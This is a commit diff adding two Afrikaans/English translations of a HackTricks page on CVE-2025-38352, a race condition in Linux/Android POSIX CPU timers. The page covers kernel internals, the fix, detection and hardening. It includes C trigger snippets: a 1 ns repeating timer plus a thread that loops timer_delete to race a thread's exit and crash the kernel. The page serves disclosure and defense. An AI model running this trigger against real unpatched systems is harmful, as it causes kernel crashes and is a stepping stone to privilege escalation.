mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/linux-kernel-exploitation/posix-cpu
This commit is contained in:
parent
e982f6a444
commit
6921a8ac3c
@ -937,3 +937,5 @@
|
|||||||
- [Post Exploitation](todo/post-exploitation.md)
|
- [Post Exploitation](todo/post-exploitation.md)
|
||||||
- [Investment Terms](todo/investment-terms.md)
|
- [Investment Terms](todo/investment-terms.md)
|
||||||
- [Cookies Policy](todo/cookies-policy.md)
|
- [Cookies Policy](todo/cookies-policy.md)
|
||||||
|
|
||||||
|
- [Posix Cpu Timers Toctou Cve 2025 38352](linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)
|
@ -0,0 +1,195 @@
|
|||||||
|
# POSIX CPU Timers TOCTOU race (CVE-2025-38352)
|
||||||
|
|
||||||
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
Hierdie bladsy dokumenteer 'n TOCTOU race condition in Linux/Android POSIX CPU timers wat timer-status kan korrupteer en die kernel kan laat crash, en onder sekere omstandighede na privilege escalation gelei kan word.
|
||||||
|
|
||||||
|
- Geaffekteerde komponent: kernel/time/posix-cpu-timers.c
|
||||||
|
- Primitiief: expiry vs deletion race onder task exit
|
||||||
|
- Konfigurasie-sensitief: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
|
||||||
|
|
||||||
|
Kort interne oorsig (relevant vir exploitation)
|
||||||
|
- Drie CPU-klokke dryf die boekhouding vir timers via cpu_clock_sample():
|
||||||
|
- CPUCLOCK_PROF: utime + stime
|
||||||
|
- CPUCLOCK_VIRT: utime only
|
||||||
|
- CPUCLOCK_SCHED: task_sched_runtime()
|
||||||
|
- Timer-creation verbind 'n timer aan 'n task/pid en initialiseer die timerqueue nodes:
|
||||||
|
```c
|
||||||
|
static int posix_cpu_timer_create(struct k_itimer *new_timer) {
|
||||||
|
struct pid *pid;
|
||||||
|
rcu_read_lock();
|
||||||
|
pid = pid_for_clock(new_timer->it_clock, false);
|
||||||
|
if (!pid) { rcu_read_unlock(); return -EINVAL; }
|
||||||
|
new_timer->kclock = &clock_posix_cpu;
|
||||||
|
timerqueue_init(&new_timer->it.cpu.node);
|
||||||
|
new_timer->it.cpu.pid = get_pid(pid);
|
||||||
|
rcu_read_unlock();
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
- Aktivering plaas inskrywings in 'n per-base timerqueue en kan die next-expiry cache bywerk:
|
||||||
|
```c
|
||||||
|
static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
|
||||||
|
struct posix_cputimer_base *base = timer_base(timer, p);
|
||||||
|
struct cpu_timer *ctmr = &timer->it.cpu;
|
||||||
|
u64 newexp = cpu_timer_getexpires(ctmr);
|
||||||
|
if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
|
||||||
|
if (newexp < base->nextevt) base->nextevt = newexp;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
- Vinnige pad vermy duur verwerking tensy gekashe vervaltye moontlike afvuur aandui:
|
||||||
|
```c
|
||||||
|
static inline bool fastpath_timer_check(struct task_struct *tsk) {
|
||||||
|
struct posix_cputimers *pct = &tsk->posix_cputimers;
|
||||||
|
if (!expiry_cache_is_inactive(pct)) {
|
||||||
|
u64 samples[CPUCLOCK_MAX];
|
||||||
|
task_sample_cputime(tsk, samples);
|
||||||
|
if (task_cputimers_expired(samples, pct))
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
- Verstryking versamel verstrykte timers, merk hulle as afgevuur, skuif hulle van die tou af; werklike aflewering word uitgestel:
|
||||||
|
```c
|
||||||
|
#define MAX_COLLECTED 20
|
||||||
|
static u64 collect_timerqueue(struct timerqueue_head *head,
|
||||||
|
struct list_head *firing, u64 now) {
|
||||||
|
struct timerqueue_node *next; int i = 0;
|
||||||
|
while ((next = timerqueue_getnext(head))) {
|
||||||
|
struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
|
||||||
|
u64 expires = cpu_timer_getexpires(ctmr);
|
||||||
|
if (++i == MAX_COLLECTED || now < expires) return expires;
|
||||||
|
ctmr->firing = 1; // critical state
|
||||||
|
rcu_assign_pointer(ctmr->handling, current);
|
||||||
|
cpu_timer_dequeue(ctmr);
|
||||||
|
list_add_tail(&ctmr->elist, firing);
|
||||||
|
}
|
||||||
|
return U64_MAX;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Twee modusse vir die hantering van verval
|
||||||
|
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: die verval word uitgestel via task_work op die teiken-taak
|
||||||
|
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: die verval word direk in die IRQ-konteks hanteer
|
||||||
|
```c
|
||||||
|
void run_posix_cpu_timers(void) {
|
||||||
|
struct task_struct *tsk = current;
|
||||||
|
__run_posix_cpu_timers(tsk);
|
||||||
|
}
|
||||||
|
#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK
|
||||||
|
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
|
||||||
|
if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return;
|
||||||
|
tsk->posix_cputimers_work.scheduled = true;
|
||||||
|
task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME);
|
||||||
|
}
|
||||||
|
#else
|
||||||
|
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
|
||||||
|
lockdep_posixtimer_enter();
|
||||||
|
handle_posix_cpu_timers(tsk); // IRQ-context path
|
||||||
|
lockdep_posixtimer_exit();
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
```
|
||||||
|
In die IRQ-context path word die firing list buite die sighand verwerk.
|
||||||
|
```c
|
||||||
|
static void handle_posix_cpu_timers(struct task_struct *tsk) {
|
||||||
|
struct k_itimer *timer, *next; unsigned long flags, start;
|
||||||
|
LIST_HEAD(firing);
|
||||||
|
if (!lock_task_sighand(tsk, &flags)) return; // may fail on exit
|
||||||
|
do {
|
||||||
|
start = READ_ONCE(jiffies); barrier();
|
||||||
|
check_thread_timers(tsk, &firing);
|
||||||
|
check_process_timers(tsk, &firing);
|
||||||
|
} while (!posix_cpu_timers_enable_work(tsk, start));
|
||||||
|
unlock_task_sighand(tsk, &flags); // race window opens here
|
||||||
|
list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) {
|
||||||
|
int cpu_firing;
|
||||||
|
spin_lock(&timer->it_lock);
|
||||||
|
list_del_init(&timer->it.cpu.elist);
|
||||||
|
cpu_firing = timer->it.cpu.firing; // read then reset
|
||||||
|
timer->it.cpu.firing = 0;
|
||||||
|
if (likely(cpu_firing >= 0)) cpu_timer_fire(timer);
|
||||||
|
rcu_assign_pointer(timer->it.cpu.handling, NULL);
|
||||||
|
spin_unlock(&timer->it_lock);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Root cause: TOCTOU tussen IRQ-time verstryking en gelyktydige verwydering tydens task exit
|
||||||
|
Preconditions
|
||||||
|
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use)
|
||||||
|
- Die teiken taak is aan die uitstap maar nog nie volledig opgeraap nie
|
||||||
|
- Nog 'n thread roep gelyktydig posix_cpu_timer_del() aan vir dieselfde timer
|
||||||
|
|
||||||
|
Sequence
|
||||||
|
1) update_process_times() aktiveer run_posix_cpu_timers() in IRQ context vir die uitgaande taak.
|
||||||
|
2) collect_timerqueue() stel ctmr->firing = 1 en skuif die timer na die tydelike firing list.
|
||||||
|
3) handle_posix_cpu_timers() laat die sighand los via unlock_task_sighand() om timers buite die lock te lewer.
|
||||||
|
4) Onmiddellik na die unlock kan die uitgaande taak opgeraap word; 'n suster-thread voer posix_cpu_timer_del() uit.
|
||||||
|
5) In hierdie venster kan posix_cpu_timer_del() dalk misluk om state via cpu_timer_task_rcu()/lock_task_sighand() te verkry en dus die normale in-flight guard wat timer->it.cpu.firing kontroleer oorslaan. Verwydering gaan voort asof dit nie firing is nie, wat state korrup maak terwyl verstryking hanteer word, wat tot crashes/UB lei.
|
||||||
|
|
||||||
|
Why TASK_WORK mode is safe by design
|
||||||
|
- Met CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y word verstryking uitgestel na task_work; exit_task_work loop voor exit_notify, so die IRQ-time oorvleueling met opraaiproses gebeur nie.
|
||||||
|
- Selfs dan, as die taak reeds aan die uitstap is, faal task_work_add(); gating op exit_state maak beide modi konsekwent.
|
||||||
|
|
||||||
|
Fix (Android common kernel) and rationale
|
||||||
|
- Voeg 'n vroeë return by indien die current task aan die uitstap is, en gate alle verwerking:
|
||||||
|
```c
|
||||||
|
// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
|
||||||
|
if (tsk->exit_state)
|
||||||
|
return;
|
||||||
|
```
|
||||||
|
- Dit verhoed dat handle_posix_cpu_timers() vir take wat op die punt staan om te verlaat betree word, en elimineer die venster waarin posix_cpu_timer_del() it.cpu.firing kon mis en met expiry-verwerking kon meeding.
|
||||||
|
|
||||||
|
Impak
|
||||||
|
- Kernel memory corruption of timer structures during concurrent expiry/deletion can yield immediate crashes (DoS) and is a strong primitive toward privilege escalation due to arbitrary kernel-state manipulation opportunities.
|
||||||
|
|
||||||
|
Triggering the bug (safe, reproducible conditions)
|
||||||
|
Build/config
|
||||||
|
- Verseker CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n en gebruik 'n kernel sonder die exit_state gating fix.
|
||||||
|
|
||||||
|
Runtime strategy
|
||||||
|
- Rig op 'n thread wat op die punt staan om te verlaat en heg 'n CPU timer daaraan vas (per-thread or process-wide clock):
|
||||||
|
- For per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
|
||||||
|
- For process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
|
||||||
|
- Stel dit in met 'n baie kort aanvanklike expiration en 'n klein interval om IRQ-path entries te maksimeer:
|
||||||
|
```c
|
||||||
|
static timer_t t;
|
||||||
|
static void setup_cpu_timer(void) {
|
||||||
|
struct sigevent sev = {0};
|
||||||
|
sev.sigev_notify = SIGEV_SIGNAL; // delivery type not critical for the race
|
||||||
|
sev.sigev_signo = SIGUSR1;
|
||||||
|
if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
|
||||||
|
struct itimerspec its = {0};
|
||||||
|
its.it_value.tv_nsec = 1; // fire ASAP
|
||||||
|
its.it_interval.tv_nsec = 1; // re-fire
|
||||||
|
if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
|
||||||
|
}
|
||||||
|
```
|
||||||
|
- Van 'n sibling thread, verwyder gelyktydig dieselfde timer terwyl die target thread afsluit:
|
||||||
|
```c
|
||||||
|
void *deleter(void *arg) {
|
||||||
|
for (;;) (void)timer_delete(t); // hammer delete in a loop
|
||||||
|
}
|
||||||
|
```
|
||||||
|
- Wedloop-versterkers: hoë scheduler-tiktempo, hoë CPU-lading, herhaalde thread-afsluiting/hernuwingsiklusse. Die crash manifesteer gewoonlik wanneer posix_cpu_timer_del() die afvuur nie opmerk nie weens 'n mislukte taak-opsoek/locking direk ná unlock_task_sighand().
|
||||||
|
|
||||||
|
Detection and hardening
|
||||||
|
- Mitigasie: pas die exit_state-bewaker toe; verkies om CONFIG_POSIX_CPU_TIMERS_TASK_WORK in te skakel waar moontlik.
|
||||||
|
- Waarneembaarheid: voeg tracepoints/WARN_ONCE rondom unlock_task_sighand()/posix_cpu_timer_del(); waarsku wanneer it.cpu.firing==1 waargeneem word tesame met mislukte cpu_timer_task_rcu()/lock_task_sighand(); let op timerqueue-inkonsekwenthede rondom taak-afsluiting.
|
||||||
|
|
||||||
|
Audit hotspots (for reviewers)
|
||||||
|
- update_process_times() → run_posix_cpu_timers() (IRQ)
|
||||||
|
- __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path)
|
||||||
|
- collect_timerqueue(): sets ctmr->firing and moves nodes
|
||||||
|
- handle_posix_cpu_timers(): drops sighand before firing loop
|
||||||
|
- posix_cpu_timer_del(): vertrou op it.cpu.firing om in-vlug verstryking te detecteer; hierdie kontrole word oorgeslaan wanneer taak-opsoek/lock misluk tydens exit/reap
|
||||||
|
|
||||||
|
Notes for exploitation research
|
||||||
|
- Die geopenbaarde gedrag is 'n betroubare kernel crash-primitive; om dit in privilege escalation te omskep benodig tipies 'n bykomende beheerbare oorvleueling (object lifetime of write-what-where invloed) wat buite die bestek van hierdie samevatting val. Beskou enige PoC as potensieel destabilisend en voer dit slegs in emulators/VMs uit.
|
||||||
|
|
||||||
|
## References
|
||||||
|
- [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
|
||||||
|
- [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
|
||||||
|
- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
|
||||||
|
|
||||||
|
{{#include ../../../banners/hacktricks-training.md}}
|
@ -0,0 +1,195 @@
|
|||||||
|
# POSIX CPU Timers TOCTOU race (CVE-2025-38352)
|
||||||
|
|
||||||
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
Hierdie bladsy dokumenteer 'n TOCTOU-wedlooptoestand in Linux/Android POSIX CPU timers wat timerstatus kan korrupteer en die kernel kan laat crash, en onder sekere omstandighede na privilege escalation gerig kan word.
|
||||||
|
|
||||||
|
- Geaffekteerde komponent: kernel/time/posix-cpu-timers.c
|
||||||
|
- Primitiwiteit: verval vs verwydering wedloop tydens taak-afsluiting
|
||||||
|
- Konfigurasie-afhanklik: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
|
||||||
|
|
||||||
|
Kort interne samevatting (relevant for exploitation)
|
||||||
|
- Drie CPU-klokke dryf rekeninghouing vir timers via cpu_clock_sample():
|
||||||
|
- CPUCLOCK_PROF: utime + stime
|
||||||
|
- CPUCLOCK_VIRT: utime only
|
||||||
|
- CPUCLOCK_SCHED: task_sched_runtime()
|
||||||
|
- Timer-skepping koppel 'n timer aan 'n taak/pid en initialiseer die timerqueue nodes:
|
||||||
|
```c
|
||||||
|
static int posix_cpu_timer_create(struct k_itimer *new_timer) {
|
||||||
|
struct pid *pid;
|
||||||
|
rcu_read_lock();
|
||||||
|
pid = pid_for_clock(new_timer->it_clock, false);
|
||||||
|
if (!pid) { rcu_read_unlock(); return -EINVAL; }
|
||||||
|
new_timer->kclock = &clock_posix_cpu;
|
||||||
|
timerqueue_init(&new_timer->it.cpu.node);
|
||||||
|
new_timer->it.cpu.pid = get_pid(pid);
|
||||||
|
rcu_read_unlock();
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
- Armering voeg items in 'n per-base timerqueue in en kan die next-expiry cache bywerk:
|
||||||
|
```c
|
||||||
|
static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
|
||||||
|
struct posix_cputimer_base *base = timer_base(timer, p);
|
||||||
|
struct cpu_timer *ctmr = &timer->it.cpu;
|
||||||
|
u64 newexp = cpu_timer_getexpires(ctmr);
|
||||||
|
if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
|
||||||
|
if (newexp < base->nextevt) base->nextevt = newexp;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
- Vinnige pad vermy duur verwerking tensy gekasde vervaltye moontlike afgaan aandui:
|
||||||
|
```c
|
||||||
|
static inline bool fastpath_timer_check(struct task_struct *tsk) {
|
||||||
|
struct posix_cputimers *pct = &tsk->posix_cputimers;
|
||||||
|
if (!expiry_cache_is_inactive(pct)) {
|
||||||
|
u64 samples[CPUCLOCK_MAX];
|
||||||
|
task_sample_cputime(tsk, samples);
|
||||||
|
if (task_cputimers_expired(samples, pct))
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
- Verval versamel vervalde timers, merk hulle as afgegaan, skuif hulle van die wagry af; werklike aflewering word uitgestel:
|
||||||
|
```c
|
||||||
|
#define MAX_COLLECTED 20
|
||||||
|
static u64 collect_timerqueue(struct timerqueue_head *head,
|
||||||
|
struct list_head *firing, u64 now) {
|
||||||
|
struct timerqueue_node *next; int i = 0;
|
||||||
|
while ((next = timerqueue_getnext(head))) {
|
||||||
|
struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
|
||||||
|
u64 expires = cpu_timer_getexpires(ctmr);
|
||||||
|
if (++i == MAX_COLLECTED || now < expires) return expires;
|
||||||
|
ctmr->firing = 1; // critical state
|
||||||
|
rcu_assign_pointer(ctmr->handling, current);
|
||||||
|
cpu_timer_dequeue(ctmr);
|
||||||
|
list_add_tail(&ctmr->elist, firing);
|
||||||
|
}
|
||||||
|
return U64_MAX;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Twee wyses van vervalverwerking
|
||||||
|
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: verval word via task_work op die teikentaak uitgestel
|
||||||
|
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: verval word direk in IRQ-konteks hanteer
|
||||||
|
```c
|
||||||
|
void run_posix_cpu_timers(void) {
|
||||||
|
struct task_struct *tsk = current;
|
||||||
|
__run_posix_cpu_timers(tsk);
|
||||||
|
}
|
||||||
|
#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK
|
||||||
|
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
|
||||||
|
if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return;
|
||||||
|
tsk->posix_cputimers_work.scheduled = true;
|
||||||
|
task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME);
|
||||||
|
}
|
||||||
|
#else
|
||||||
|
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
|
||||||
|
lockdep_posixtimer_enter();
|
||||||
|
handle_posix_cpu_timers(tsk); // IRQ-context path
|
||||||
|
lockdep_posixtimer_exit();
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
```
|
||||||
|
In die IRQ-context path, word die firing list buite sighand verwerk.
|
||||||
|
```c
|
||||||
|
static void handle_posix_cpu_timers(struct task_struct *tsk) {
|
||||||
|
struct k_itimer *timer, *next; unsigned long flags, start;
|
||||||
|
LIST_HEAD(firing);
|
||||||
|
if (!lock_task_sighand(tsk, &flags)) return; // may fail on exit
|
||||||
|
do {
|
||||||
|
start = READ_ONCE(jiffies); barrier();
|
||||||
|
check_thread_timers(tsk, &firing);
|
||||||
|
check_process_timers(tsk, &firing);
|
||||||
|
} while (!posix_cpu_timers_enable_work(tsk, start));
|
||||||
|
unlock_task_sighand(tsk, &flags); // race window opens here
|
||||||
|
list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) {
|
||||||
|
int cpu_firing;
|
||||||
|
spin_lock(&timer->it_lock);
|
||||||
|
list_del_init(&timer->it.cpu.elist);
|
||||||
|
cpu_firing = timer->it.cpu.firing; // read then reset
|
||||||
|
timer->it.cpu.firing = 0;
|
||||||
|
if (likely(cpu_firing >= 0)) cpu_timer_fire(timer);
|
||||||
|
rcu_assign_pointer(timer->it.cpu.handling, NULL);
|
||||||
|
spin_unlock(&timer->it_lock);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Hoof oorsaak: TOCTOU tussen IRQ-time verstryking en gesamentlike verwydering tydens taak-uitgang
|
||||||
|
Voorwaardes
|
||||||
|
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use)
|
||||||
|
- Die teiken-taak is besig om te verlaat maar nog nie volledig gereap nie
|
||||||
|
- 'n Ander thread roep gelyktydig posix_cpu_timer_del() aan vir dieselfde timer
|
||||||
|
|
||||||
|
Volgorde
|
||||||
|
1) update_process_times() spoor run_posix_cpu_timers() aan in IRQ-konteks vir die taak wat beëindig word.
|
||||||
|
2) collect_timerqueue() stel ctmr->firing = 1 en skuif die timer na die tydelike firing list.
|
||||||
|
3) handle_posix_cpu_timers() laat sighand val via unlock_task_sighand() om timers buite die slot af te lewer.
|
||||||
|
4) Onmiddellik na unlock kan die uitgaande taak gereap word; 'n ander thread voer posix_cpu_timer_del() uit.
|
||||||
|
5) In hierdie venster kan posix_cpu_timer_del() misluk om state te bekom via cpu_timer_task_rcu()/lock_task_sighand() en dus die normale in-flight guard wat timer->it.cpu.firing kontroleer oorslaan. Verwydering gaan voort asof dit nie firing is nie, korrupteer state terwyl verstryking hanteer word, wat tot crashes/UB lei.
|
||||||
|
|
||||||
|
Hoekom TASK_WORK-modus per ontwerp veilig is
|
||||||
|
- Met CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y word verstryking uitgestel na task_work; exit_task_work loop voor exit_notify, so die IRQ-tyd oorvleueling met reaping gebeur nie.
|
||||||
|
- Selfs dan, as die taak reeds aan die uitgang is, faal task_work_add(); deur op exit_state te kontroleer maak dit beide modi konsekwent.
|
||||||
|
|
||||||
|
Regstelling (Android common kernel) en motivering
|
||||||
|
- Voeg 'n vroeë return by indien current taak aan die verlaat is, en beperk sodoende alle verwerking:
|
||||||
|
```c
|
||||||
|
// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
|
||||||
|
if (tsk->exit_state)
|
||||||
|
return;
|
||||||
|
```
|
||||||
|
- Dit voorkom dat handle_posix_cpu_timers() vir take wat uitgaan binnegegaan word, en verwyder die venster waar posix_cpu_timer_del() dit kon mis: it.cpu.firing en in 'n wedloop met verstrykingverwerking.
|
||||||
|
|
||||||
|
Impact
|
||||||
|
- Kerngeheue-beskadiging van timer-strukture tydens gesamentlike verstryking/verwydering kan onmiddellike ineenstortings (DoS) veroorsaak en is 'n sterk primitief vir privilege escalation weens die moontlikhede vir arbitraire manipulering van kernel-state.
|
||||||
|
|
||||||
|
Triggering the bug (safe, reproducible conditions)
|
||||||
|
Build/config
|
||||||
|
- Maak seker CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n en gebruik 'n kernel sonder die exit_state gating fix.
|
||||||
|
|
||||||
|
Runtime strategy
|
||||||
|
- Rig op 'n thread wat op die punt is om te verlaat en heg 'n CPU timer daaraan aan (per-thread or process-wide clock):
|
||||||
|
- Vir per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
|
||||||
|
- Vir process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
|
||||||
|
- Armeer met 'n baie kort aanvanklike verstryking en 'n klein interval om IRQ-path entries te maksimeer:
|
||||||
|
```c
|
||||||
|
static timer_t t;
|
||||||
|
static void setup_cpu_timer(void) {
|
||||||
|
struct sigevent sev = {0};
|
||||||
|
sev.sigev_notify = SIGEV_SIGNAL; // delivery type not critical for the race
|
||||||
|
sev.sigev_signo = SIGUSR1;
|
||||||
|
if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
|
||||||
|
struct itimerspec its = {0};
|
||||||
|
its.it_value.tv_nsec = 1; // fire ASAP
|
||||||
|
its.it_interval.tv_nsec = 1; // re-fire
|
||||||
|
if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
|
||||||
|
}
|
||||||
|
```
|
||||||
|
- Vanaf 'n sibling thread, verwyder gelyktydig dieselfde timer terwyl die target thread afsluit:
|
||||||
|
```c
|
||||||
|
void *deleter(void *arg) {
|
||||||
|
for (;;) (void)timer_delete(t); // hammer delete in a loop
|
||||||
|
}
|
||||||
|
```
|
||||||
|
- Wedloopversterkers: hoë scheduler-tiktempo, CPU-lading, herhaalde thread exit/re-create siklusse. Die crash manifesteer gewoonlik wanneer posix_cpu_timer_del() versuim om firing te opmerk weens mislukte taak-opsoek/-locking direk ná unlock_task_sighand().
|
||||||
|
|
||||||
|
Opsporing en verharding
|
||||||
|
- Mitigasie: pas die exit_state-beskerming toe; verkies om CONFIG_POSIX_CPU_TIMERS_TASK_WORK te aktiveer waar dit uitvoerbaar is.
|
||||||
|
- Waarneembaarheid: voeg tracepoints/WARN_ONCE rondom unlock_task_sighand()/posix_cpu_timer_del(); waarsku wanneer it.cpu.firing==1 saam met mislukte cpu_timer_task_rcu()/lock_task_sighand() waargeneem word; kyk vir timerqueue-ongeregeldhede rondom taak-uitgang.
|
||||||
|
|
||||||
|
Audit-hotspots (vir hersieners)
|
||||||
|
- update_process_times() → run_posix_cpu_timers() (IRQ)
|
||||||
|
- __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path)
|
||||||
|
- collect_timerqueue(): sets ctmr->firing and moves nodes
|
||||||
|
- handle_posix_cpu_timers(): drops sighand before firing loop
|
||||||
|
- posix_cpu_timer_del(): relies on it.cpu.firing to detect in-flight expiry; this check is skipped when task lookup/lock fails during exit/reap
|
||||||
|
|
||||||
|
Aantekeninge vir exploitation-navorsing
|
||||||
|
- Die openbaargemaakte gedrag is ’n betroubare kernel crash primitive; om dit in privilege escalation te omskep benodig gewoonlik ’n addisionele beheerbare oorvleueling (object lifetime of write-what-where influence) wat buite die bestek van hierdie samevatting val. Beskou enige PoC as potensieel destabiliserend en voer slegs in emulators/VMs uit.
|
||||||
|
|
||||||
|
## References
|
||||||
|
- [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
|
||||||
|
- [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
|
||||||
|
- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
|
||||||
|
|
||||||
|
{{#include ../../../banners/hacktricks-training.md}}
|
Loading…
x
Reference in New Issue
Block a user